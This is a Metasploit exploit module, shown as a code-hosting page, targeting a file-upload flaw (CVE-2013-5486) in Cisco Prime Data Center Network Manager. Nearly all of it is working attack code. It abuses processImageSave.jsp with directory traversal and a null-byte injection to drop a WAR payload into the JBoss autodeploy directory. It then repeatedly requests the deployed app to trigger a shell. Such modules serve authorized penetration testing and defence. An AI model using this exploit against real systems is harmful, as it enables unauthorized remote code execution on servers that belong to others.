Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload.rb
19849 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cisco Prime Data Center Network Manager Arbitrary File Upload',16'Description' => %q{17This module exploits a code execution flaw in Cisco Data Center Network Manager. The18vulnerability exists in processImageSave.jsp, which can be abused through a directory19traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss20application server feature is used to achieve remote code execution. This module has been21tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R222(64 bits).23},24'Author' => [25'rgod <rgod[at]autistici.org>', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2013-5486'],31[ 'OSVDB', '97426' ],32[ 'ZDI', '13-254' ],33[ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm' ]34],35'Privileged' => true,36'Platform' => 'java',37'Arch' => ARCH_JAVA,38'Targets' => [39[40'Cisco DCNM 6.1(2) / Java Universal',41{42'AutoDeployPath' => "../../../../../deploy",43'CleanupPath' => "../../jboss-4.2.2.GA/server/fm/deploy"44}45]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2013-09-18',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']),60OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10])61]62)63end6465def upload_file(location, filename, contents)66res = send_request_cgi(67{68'uri' => normalize_uri(target_uri.path, "cues_utility", "charts", "processImageSave.jsp"),69'method' => 'POST',70'encode_params' => false,71'vars_post' =>72{73"mode" => "save",74"savefile" => "true",75"chartid" => "#{location}/#{filename}%00",76"data" => Rex::Text.uri_encode(Rex::Text.encode_base64(contents))77}78}79)8081if res and res.code == 200 and res.body.to_s =~ /success/82return true83else84return false85end86end8788def check89version = ""9091res = send_request_cgi({92'url' => target_uri.to_s,93'method' => 'GET'94})9596unless res97vprint_error("Connection timed out")98return Exploit::CheckCode::Unknown99end100101if res.code == 200 and102res.body.to_s =~ /Data Center Network Manager/ and103res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/104version = $1105vprint_status("Cisco Primer Data Center Network Manager version #{version} found")106if version =~ /6\.1/107return Exploit::CheckCode::Appears108else109return Exploit::CheckCode::Detected110end111112elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/113return Exploit::CheckCode::Detected114end115116Exploit::CheckCode::Safe117end118119def exploit120attempts = datastore['ATTEMPTS']121fail_with(Failure::BadConfig, "#{peer} - Configure 1 or more ATTEMPTS") unless attempts > 0122123app_base = rand_text_alphanumeric(4 + rand(32 - 4))124125# By default uploads land here: C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\tmp\deploy\tmp3409372432509144123dcm-exp.war\cues_utility\charts126# Auto deploy dir is here C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\deploy127# Sessions pwd is here C:\Program Files\Cisco Systems\dcm\fm\bin128war = payload.encoded_war({ :app_name => app_base }).to_s129war_filename = "#{app_base}.war"130war_location = target['AutoDeployPath']131132print_status("Uploading WAR file #{war_filename}...")133res = upload_file(war_location, war_filename, war)134135if res136register_files_for_cleanup("#{target['CleanupPath']}/#{war_filename}")137else138fail_with(Failure::Unknown, "#{peer} - Failed to upload the WAR payload")139end140141attempts.times do142select(nil, nil, nil, 2)143144# Now make a request to trigger the newly deployed war145print_status("Attempting to launch payload in deployed WAR...")146res = send_request_cgi(147{148'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8) + 8)),149'method' => 'GET'150}151)152# Failure. The request timed out or the server went away.153fail_with(Failure::TimeoutExpired, "#{peer} - The request timed out or the server went away.") if res.nil?154# Success! Triggered the payload, should have a shell incoming155break if res.code == 200156end157end158end159160161